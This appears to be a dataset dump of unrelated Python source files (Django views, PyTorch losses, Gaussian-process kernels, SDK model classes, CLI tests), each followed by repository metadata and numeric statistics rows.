# Unless required by applicabl... | 49.960235 | 181 | 0.652083 | 10,417 | 76,639 | 4.633868 | 0.061246 | 0.024777 | 0.023948 | 0.02082 | 0.811377 | 0.788051 | 0.774295 | 0.757826 | 0.742247 | 0.730894 | 0 | 0.009796 | 0.260729 | 76,639 | 1,533 | 182 | 49.992825 | 0.842191 | 0.327966 | 0 | 0.549721 | 0 | 0.011173 | 0.076129 | 0.00385 | 0 | 0 | 0 | 0 | 0 | 1 | 0.043575 | false | 0.001117 | 0.044693 | 0 | 0.184358 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
fc4fa4bfabc51f3c680545b499ee16fcc5d20013 | 268 | py | Python | rpython/jit/backend/aarch64/test/test_list.py | nanjekyejoannah/pypy | e80079fe13c29eda7b2a6b4cd4557051f975a2d9 | [
"Apache-2.0",
"OpenSSL"
] | 333 | 2015-08-08T18:03:38.000Z | 2022-03-22T18:13:12.000Z | rpython/jit/backend/aarch64/test/test_list.py | nanjekyejoannah/pypy | e80079fe13c29eda7b2a6b4cd4557051f975a2d9 | [
"Apache-2.0",
"OpenSSL"
] | 7 | 2020-02-16T16:49:05.000Z | 2021-11-26T09:00:56.000Z | rpython/jit/backend/aarch64/test/test_list.py | nanjekyejoannah/pypy | e80079fe13c29eda7b2a6b4cd4557051f975a2d9 | [
"Apache-2.0",
"OpenSSL"
] | 55 | 2015-08-16T02:41:30.000Z | 2022-03-20T20:33:35.000Z |
from rpython.jit.metainterp.test.test_list import ListTests
from rpython.jit.backend.aarch64.test.test_basic import JitAarch64Mixin
class TestList(JitAarch64Mixin, ListTests):
# for individual tests see
# ====> ../../../metainterp/test/test_list.py
pass
| 29.777778 | 71 | 0.753731 | 33 | 268 | 6.030303 | 0.606061 | 0.120603 | 0.140704 | 0.221106 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.025641 | 0.126866 | 268 | 8 | 72 | 33.5 | 0.824786 | 0.253731 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.25 | 0.5 | 0 | 0.75 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 6 |
fc64b2b95d542e870e92e2a2fce3e0b080d9bb86 | 201 | py | Python | lms/lms_app/models.py | leooAprigioo/ac-lp | e1428ea4f73629de999ec0b8a190779afdf6c488 | [
"Apache-2.0"
] | null | null | null | lms/lms_app/models.py | leooAprigioo/ac-lp | e1428ea4f73629de999ec0b8a190779afdf6c488 | [
"Apache-2.0"
] | null | null | null | lms/lms_app/models.py | leooAprigioo/ac-lp | e1428ea4f73629de999ec0b8a190779afdf6c488 | [
"Apache-2.0"
] | null | null | null | from django.db import models
from lms_app.professor import Professor
from lms_app.disciplina import Disciplina
from lms_app.aluno import Aluno
from lms_app.disciplinaOfertada import DisciplinaOfertada | 33.5 | 57 | 0.875622 | 29 | 201 | 5.931034 | 0.37931 | 0.162791 | 0.232558 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.099502 | 201 | 6 | 57 | 33.5 | 0.950276 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
fca1309e28aabffedaf6d33aaf02810f093fa982 | 47 | py | Python | bin/create_result_relatory_template/create_test_relatory_template/__main__.py | danilocgsilva/a_vs_n | fb807d6c785e188a0024ba2ef8e4b16117432dd4 | [
"MIT"
] | null | null | null | bin/create_result_relatory_template/create_test_relatory_template/__main__.py | danilocgsilva/a_vs_n | fb807d6c785e188a0024ba2ef8e4b16117432dd4 | [
"MIT"
] | null | null | null | bin/create_result_relatory_template/create_test_relatory_template/__main__.py | danilocgsilva/a_vs_n | fb807d6c785e188a0024ba2ef8e4b16117432dd4 | [
"MIT"
] | null | null | null | def main():
print("Not implemented yet.")
| 11.75 | 33 | 0.617021 | 6 | 47 | 4.833333 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.212766 | 47 | 3 | 34 | 15.666667 | 0.783784 | 0 | 0 | 0 | 0 | 0 | 0.434783 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | true | 0 | 0 | 0 | 0.5 | 0.5 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 6 |
5d7f7c41077d5abe98d9d5eea05bfe26e367da6d | 379 | py | Python | generate_files/load_pickle_for_R.py | justinsavoie/justinsavoie.github.io | 67ed6e5e1f8430d123832fc992d6a7f56b9592b4 | [
"MIT"
] | null | null | null | generate_files/load_pickle_for_R.py | justinsavoie/justinsavoie.github.io | 67ed6e5e1f8430d123832fc992d6a7f56b9592b4 | [
"MIT"
] | null | null | null | generate_files/load_pickle_for_R.py | justinsavoie/justinsavoie.github.io | 67ed6e5e1f8430d123832fc992d6a7f56b9592b4 | [
"MIT"
] | null | null | null | import pickle
mariage = pickle.load(open("/Users/vpl_001/Documents/justinsavoie.github.io/generate_files/mariage_url.txt",'rb'))
preparatifs = pickle.load(open("/Users/vpl_001/Documents/justinsavoie.github.io/generate_files/prep_url.txt",'rb'))
couple_reception = pickle.load(open("/Users/vpl_001/Documents/justinsavoie... | 63.166667 | 132 | 0.810026 | 55 | 379 | 5.381818 | 0.381818 | 0.101351 | 0.141892 | 0.192568 | 0.679054 | 0.679054 | 0.679054 | 0.679054 | 0.679054 | 0.679054 | 0 | 0.024523 | 0.031662 | 379 | 5 | 133 | 75.8 | 0.782016 | 0 | 0 | 0 | 1 | 0 | 0.649077 | 0.633245 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.25 | 0 | 0.25 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
5dbbe661ba0b894a17145c19393c2db5be155ae0 | 4,108 | py | Python | imcsdk/mometa/ldap/LdapCACertificateManagement.py | ragupta-git/ImcSdk | 2e41f2ffe5282d38de85bc4739fa53dd2f0c9bb4 | [
"Apache-2.0"
] | null | null | null | imcsdk/mometa/ldap/LdapCACertificateManagement.py | ragupta-git/ImcSdk | 2e41f2ffe5282d38de85bc4739fa53dd2f0c9bb4 | [
"Apache-2.0"
] | null | null | null | imcsdk/mometa/ldap/LdapCACertificateManagement.py | ragupta-git/ImcSdk | 2e41f2ffe5282d38de85bc4739fa53dd2f0c9bb4 | [
"Apache-2.0"
] | 3 | 2018-11-14T13:02:40.000Z | 2018-11-14T13:49:38.000Z | """This module contains the general information for LdapCACertificateManagement ManagedObject."""
from ...imcmo import ManagedObject
from ...imccoremeta import MoPropertyMeta, MoMeta
from ...imcmeta import VersionMeta
class LdapCACertificateManagementConsts:
pass
class LdapCACertificateManagement(ManagedObject... | 53.350649 | 303 | 0.640944 | 350 | 4,108 | 7.397143 | 0.237143 | 0.124372 | 0.134415 | 0.199305 | 0.776362 | 0.762457 | 0.762457 | 0.762457 | 0.762457 | 0.762457 | 0 | 0.031155 | 0.195229 | 4,108 | 76 | 304 | 54.052632 | 0.751966 | 0.032619 | 0 | 0.509091 | 0 | 0 | 0.282181 | 0.058304 | 0 | 0 | 0.008582 | 0 | 0 | 1 | 0.018182 | false | 0.018182 | 0.054545 | 0 | 0.2 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
5dce42fee1fe89d83e482f80d80e9faf3a04d2b2 | 209 | py | Python | main/views.py | AthmanZiri/django-site | 04c6e0967b628b8ebef1ca1caae8cee83c1a2f07 | [
"MIT"
] | null | null | null | main/views.py | AthmanZiri/django-site | 04c6e0967b628b8ebef1ca1caae8cee83c1a2f07 | [
"MIT"
] | null | null | null | main/views.py | AthmanZiri/django-site | 04c6e0967b628b8ebef1ca1caae8cee83c1a2f07 | [
"MIT"
] | null | null | null | from django.shortcuts import render
def index(request):
return render(request, 'index.html', {})
def team(request):
team_sisi ='hello mates!'
return render(request, 'team.html', {'team_sisi': team_sisi}) | 23.222222 | 62 | 0.727273 | 29 | 209 | 5.137931 | 0.482759 | 0.161074 | 0.255034 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.119617 | 209 | 9 | 62 | 23.222222 | 0.809783 | 0 | 0 | 0 | 0 | 0 | 0.190476 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0.166667 | 0.166667 | 0.833333 | 0 | 1 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 6 |
5dfd2f779579c732f249d12b379fd7f97e5dc830 | 62 | py | Python | testing/example_scripts/fixtures/fill_fixtures/test_extend_fixture_conftest_module/conftest.py | markshao/pytest | 611b579d21f7e62b4c8ed54ab70fbfee7c6f5f64 | [
"MIT"
] | 9,225 | 2015-06-15T21:56:14.000Z | 2022-03-31T20:47:38.000Z | testing/example_scripts/fixtures/fill_fixtures/test_extend_fixture_conftest_module/conftest.py | markshao/pytest | 611b579d21f7e62b4c8ed54ab70fbfee7c6f5f64 | [
"MIT"
] | 7,794 | 2015-06-15T21:06:34.000Z | 2022-03-31T10:56:54.000Z | testing/example_scripts/fixtures/fill_fixtures/test_extend_fixture_conftest_module/conftest.py | markshao/pytest | 611b579d21f7e62b4c8ed54ab70fbfee7c6f5f64 | [
"MIT"
] | 2,598 | 2015-06-15T21:42:39.000Z | 2022-03-29T13:48:22.000Z | import pytest
@pytest.fixture
def spam():
return "spam"
| 8.857143 | 17 | 0.677419 | 8 | 62 | 5.25 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.209677 | 62 | 6 | 18 | 10.333333 | 0.857143 | 0 | 0 | 0 | 0 | 0 | 0.064516 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | true | 0 | 0.25 | 0.25 | 0.75 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 1 | 1 | 0 | 0 | 6 |
f8ee0e98bbc856ee44e0a54e56c538317abd446c | 5,321 | py | Python | loss/combine_loss.py | shijun18/RS_SEG20 | 0c55f5f3a53cef84d0e907d5662c72a76eaa0413 | [
"MIT"
] | 4 | 2020-11-15T11:36:13.000Z | 2021-07-26T07:55:59.000Z | loss/combine_loss.py | shijun18/RS_SEG20 | 0c55f5f3a53cef84d0e907d5662c72a76eaa0413 | [
"MIT"
] | null | null | null | loss/combine_loss.py | shijun18/RS_SEG20 | 0c55f5f3a53cef84d0e907d5662c72a76eaa0413 | [
"MIT"
] | null | null | null | import torch
import torch.nn as nn
import torch.nn.functional as F
from loss.dice_loss import DiceLoss
from loss.cross_entropy import CrossentropyLoss, TopKLoss
class BCEPlusDice(nn.Module):
"""Dice loss, need one hot encode input
Args:
weight: An array of shape [num_classes,]
ignore_index: c... | 32.248485 | 88 | 0.635407 | 656 | 5,321 | 4.990854 | 0.11128 | 0.100794 | 0.021381 | 0.030544 | 0.858277 | 0.858277 | 0.850031 | 0.848503 | 0.848503 | 0.848503 | 0 | 0.001788 | 0.264236 | 5,321 | 165 | 89 | 32.248485 | 0.834483 | 0.302011 | 0 | 0.688312 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.090909 | 1 | 0.12987 | false | 0 | 0.064935 | 0 | 0.324675 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
5d23324bebbb96bcd86062de4dbb3f8f58d2f232 | 40 | py | Python | bot_facebook/views/__init__.py | lariodiniz/BootPlayGame | 1ba40611eb085e2deaff63a36bdb669b594c7c02 | [
"MIT"
] | null | null | null | bot_facebook/views/__init__.py | lariodiniz/BootPlayGame | 1ba40611eb085e2deaff63a36bdb669b594c7c02 | [
"MIT"
] | null | null | null | bot_facebook/views/__init__.py | lariodiniz/BootPlayGame | 1ba40611eb085e2deaff63a36bdb669b594c7c02 | [
"MIT"
] | null | null | null | from .ativa_bot_view import ativaBotView | 40 | 40 | 0.9 | 6 | 40 | 5.666667 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.075 | 40 | 1 | 40 | 40 | 0.918919 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
5d679ff2eb030804c21d156f046cdb4330b38397 | 103 | py | Python | Python/tests/scripts/test_script_out_param.py | tritm78/sqlmlutils | 9b9ba866bcfbab7a1d0329fcdfad2816bf322d97 | [
"MIT"
] | 1 | 2020-03-19T18:03:20.000Z | 2020-03-19T18:03:20.000Z | Python/tests/scripts/test_script_out_param.py | TheRockStarDBA/sqlmlutils | 956bdd72638a649f0e613f100fbb81c900dcb65e | [
"MIT"
] | null | null | null | Python/tests/scripts/test_script_out_param.py | TheRockStarDBA/sqlmlutils | 956bdd72638a649f0e613f100fbb81c900dcb65e | [
"MIT"
] | null | null | null | def foo(t1, t2, t3):
return str(t1)+str(t2)
res = foo(t1,t2,t3)
print("Testing output!")
| 12.875 | 27 | 0.563107 | 18 | 103 | 3.222222 | 0.611111 | 0.172414 | 0.241379 | 0.310345 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.102564 | 0.242718 | 103 | 7 | 28 | 14.714286 | 0.641026 | 0 | 0 | 0 | 0 | 0 | 0.15625 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0 | 0.25 | 0.5 | 0.25 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 6 |
53b92e8f2a4b67faec233ebac104720d7c490fa1 | 30,998 | py | Python | artgpn/weight.py | jdavidrcamacho/artgpn | 69d4dbc5a44b0861331d8d3a5ac5013ebd97bac8 | [
"MIT"
] | null | null | null | artgpn/weight.py | jdavidrcamacho/artgpn | 69d4dbc5a44b0861331d8d3a5ac5013ebd97bac8 | [
"MIT"
] | null | null | null | artgpn/weight.py | jdavidrcamacho/artgpn | 69d4dbc5a44b0861331d8d3a5ac5013ebd97bac8 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
import numpy as np
#because it makes my life easier down the line
pi, exp, sine, cosine, sqrt = np.pi, np.exp, np.sin, np.cos, np.sqrt
class weightFunction(object):
"""
Definition the weight functions kernels of our network.
Kernels not fully implement... | 33.152941 | 93 | 0.550068 | 4,067 | 30,998 | 3.974182 | 0.060241 | 0.090948 | 0.037431 | 0.040834 | 0.804244 | 0.786797 | 0.745777 | 0.71014 | 0.675803 | 0.650374 | 0 | 0.01926 | 0.29147 | 30,998 | 934 | 94 | 33.188437 | 0.71666 | 0.200142 | 0 | 0.629278 | 0 | 0 | 0.016794 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.207224 | false | 0 | 0.001901 | 0.095057 | 0.412548 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
990209ed802758743759275aaf265855b1eea4b4 | 373 | py | Python | src/kgmk/jstage/paper_list/params.py | kagemeka/python | 486ce39d97360b61029527bacf00a87fdbcf552c | [
"MIT"
] | null | null | null | src/kgmk/jstage/paper_list/params.py | kagemeka/python | 486ce39d97360b61029527bacf00a87fdbcf552c | [
"MIT"
] | null | null | null | src/kgmk/jstage/paper_list/params.py | kagemeka/python | 486ce39d97360b61029527bacf00a87fdbcf552c | [
"MIT"
] | null | null | null | import typing
import dataclasses
# TODO get paper list
@dataclasses.dataclass
class Params():
service: typing.Final[int] = 2
pubyearfrom: typing.Optional[int] = None
pubyearto: typing.Optional[int] = None
material: typing.Optional[str] = None
issn: typing.Optional[str] = None
cdjournal: typing.Optional[... | 23.3125 | 42 | 0.731903 | 47 | 373 | 5.808511 | 0.489362 | 0.307692 | 0.249084 | 0.307692 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.003185 | 0.158177 | 373 | 15 | 43 | 24.866667 | 0.866242 | 0.050938 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.066667 | 0 | 1 | 0 | true | 0 | 0.181818 | 0 | 0.909091 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 6 |
54cf8597b5093947e6e488398235ab3cf8166ad3 | 37 | py | Python | max_ent/optim/__init__.py | aloreggia/sofai | 92694f9372985c0c3a23d695f1de4c4a1fb70728 | [
"MIT"
] | null | null | null | max_ent/optim/__init__.py | aloreggia/sofai | 92694f9372985c0c3a23d695f1de4c4a1fb70728 | [
"MIT"
] | 1 | 2021-05-25T14:57:15.000Z | 2021-05-25T14:57:15.000Z | max_ent/optim/__init__.py | Rahgooy/soft_constraint_irl | 259d4e7aff5ec8efe78cfbe8b84e9285d4645618 | [
"MIT"
] | null | null | null | from max_ent.optim.optimizer import * | 37 | 37 | 0.837838 | 6 | 37 | 5 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.081081 | 37 | 1 | 37 | 37 | 0.882353 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
54faad68c77f469541ee3c3368f0e14b0167a8e1 | 44 | py | Python | facs/__init__.py | SciLifeLab/facs | 4b8eeed824b2fc35989e10526249e2fc1bad90cf | [
"MIT"
] | 5 | 2015-01-21T16:49:38.000Z | 2016-04-06T01:29:47.000Z | facs/__init__.py | SciLifeLab/facs | 4b8eeed824b2fc35989e10526249e2fc1bad90cf | [
"MIT"
] | 3 | 2015-11-11T14:28:38.000Z | 2015-12-17T20:39:50.000Z | facs/__init__.py | SciLifeLab/facs | 4b8eeed824b2fc35989e10526249e2fc1bad90cf | [
"MIT"
] | 3 | 2015-12-17T04:11:47.000Z | 2016-03-10T02:01:27.000Z | from facs._facs import build, query, remove
| 22 | 43 | 0.795455 | 7 | 44 | 4.857143 | 0.857143 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.136364 | 44 | 1 | 44 | 44 | 0.894737 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
071109f27d68a5c1b5cc7d653404b59ad55be94b | 195 | py | Python | active_semi_clustering/__init__.py | heriosousa/active-semi-supervised-clustering | 8ed97c7f3bdd76cf6c03e0ca6ef56bcf27b2d399 | [
"MIT"
] | 67 | 2018-11-09T06:59:31.000Z | 2021-11-04T06:54:36.000Z | active_semi_clustering/__init__.py | heriosousa/active-semi-supervised-clustering | 8ed97c7f3bdd76cf6c03e0ca6ef56bcf27b2d399 | [
"MIT"
] | 5 | 2020-03-24T18:10:32.000Z | 2021-06-02T01:08:20.000Z | active_semi_clustering/__init__.py | heriosousa/active-semi-supervised-clustering | 8ed97c7f3bdd76cf6c03e0ca6ef56bcf27b2d399 | [
"MIT"
] | 29 | 2018-10-16T15:36:28.000Z | 2021-11-20T10:09:41.000Z | from .semi_supervised.labeled_data import KMeans, SeededKMeans, ConstrainedKMeans
from .semi_supervised.pairwise_constraints import COPKMeans, PCKMeans, MPCKMeans, MPCKMeansMF, MKMeans, RCAKMeans | 97.5 | 113 | 0.871795 | 21 | 195 | 7.904762 | 0.809524 | 0.096386 | 0.216867 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.071795 | 195 | 2 | 113 | 97.5 | 0.917127 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
0768ef20c205a8e1297fe58cbc25150f9b738c80 | 428 | py | Python | backend/errors.py | 89erik/localbank | 7fcfca4ed81cabcb92a48540b8cbc4f0f028e867 | [
"MIT"
] | null | null | null | backend/errors.py | 89erik/localbank | 7fcfca4ed81cabcb92a48540b8cbc4f0f028e867 | [
"MIT"
] | 12 | 2018-09-08T18:17:37.000Z | 2019-03-02T10:18:05.000Z | backend/errors.py | 89erik/localbank | 7fcfca4ed81cabcb92a48540b8cbc4f0f028e867 | [
"MIT"
] | null | null | null | class ApiException(Exception):
pass
class Forbidden(ApiException):
def __init__(self, message):
self.message = message
self.status_code = 403
class NotFound(ApiException):
def __init__(self, message):
self.message = message
self.status_code = 404
class BadRequest(A... | 25.176471 | 32 | 0.658879 | 46 | 428 | 5.804348 | 0.347826 | 0.247191 | 0.213483 | 0.258427 | 0.696629 | 0.696629 | 0.696629 | 0.696629 | 0.696629 | 0.696629 | 0 | 0.028302 | 0.257009 | 428 | 17 | 33 | 25.176471 | 0.811321 | 0 | 0 | 0.428571 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.214286 | false | 0.071429 | 0 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 6 |
4af18160b6cf71aec1f976b2a079ade28db922dc | 4,960 | py | Python | test/integration/test_diff.py | DahlitzFlorian/wily | 069c26bff9741b49420e3cfd7b0954ac9b88cc3f | [
"Apache-2.0"
] | null | null | null | test/integration/test_diff.py | DahlitzFlorian/wily | 069c26bff9741b49420e3cfd7b0954ac9b88cc3f | [
"Apache-2.0"
] | null | null | null | test/integration/test_diff.py | DahlitzFlorian/wily | 069c26bff9741b49420e3cfd7b0954ac9b88cc3f | [
"Apache-2.0"
] | null | null | null | import pathlib
from textwrap import dedent
from click.testing import CliRunner
import wily.__main__ as main
def test_diff_no_cache(tmpdir):
runner = CliRunner()
result = runner.invoke(main.cli, ["--path", tmpdir, "diff", "src/test.py"])
assert result.exit_code == 1, result.stdout
def test_diff_no_path... | 29.700599 | 87 | 0.569758 | 616 | 4,960 | 4.482143 | 0.13961 | 0.065194 | 0.097791 | 0.097791 | 0.862369 | 0.854038 | 0.803332 | 0.777617 | 0.752988 | 0.752988 | 0 | 0.011277 | 0.284879 | 4,960 | 166 | 88 | 29.879518 | 0.767127 | 0.095161 | 0 | 0.581967 | 0 | 0 | 0.252534 | 0 | 0 | 0 | 0 | 0 | 0.204918 | 1 | 0.081967 | false | 0.016393 | 0.04918 | 0 | 0.131148 | 0.040984 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
ab040eb7dd3252c6997195933e5fd19ac912f428 | 1,557 | py | Python | DebugMode.py | DanielPri/XrudderAI | 5c3e690c24511c05a205387431896cb5880e4b33 | [
"MIT"
] | null | null | null | DebugMode.py | DanielPri/XrudderAI | 5c3e690c24511c05a205387431896cb5880e4b33 | [
"MIT"
] | null | null | null | DebugMode.py | DanielPri/XrudderAI | 5c3e690c24511c05a205387431896cb5880e4b33 | [
"MIT"
] | 1 | 2021-03-24T02:50:45.000Z | 2021-03-24T02:50:45.000Z | from TileColor import TileColor
def set_board(board, p1, p2):
board.get_tile("A", 5).set_color(TileColor.WHITE)
board.get_tile("A", 3).set_color(TileColor.WHITE)
board.get_tile("B", 4).set_color(TileColor.WHITE)
board.get_tile("C", 1).set_color(TileColor.WHITE)
board.get_tile("C", 3).set_color(Til... | 43.25 | 95 | 0.667309 | 256 | 1,557 | 3.859375 | 0.222656 | 0.194332 | 0.291498 | 0.267206 | 0.834008 | 0.787449 | 0.787449 | 0.753036 | 0 | 0 | 0 | 0.038179 | 0.125241 | 1,557 | 35 | 96 | 44.485714 | 0.687225 | 0 | 0 | 0 | 0 | 0 | 0.046302 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.035714 | false | 0 | 0.035714 | 0 | 0.071429 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
db58e9775cd7928a4dbea941aa73c24dfa9b47ad | 29 | py | Python | torch_tools/data/augment/__init__.py | gregunz/TorchTools | 19a33f2e4cd38f86b74bd732949516df66f9e24f | [
"MIT"
] | null | null | null | torch_tools/data/augment/__init__.py | gregunz/TorchTools | 19a33f2e4cd38f86b74bd732949516df66f9e24f | [
"MIT"
] | null | null | null | torch_tools/data/augment/__init__.py | gregunz/TorchTools | 19a33f2e4cd38f86b74bd732949516df66f9e24f | [
"MIT"
] | null | null | null | from .randaug import RandAug
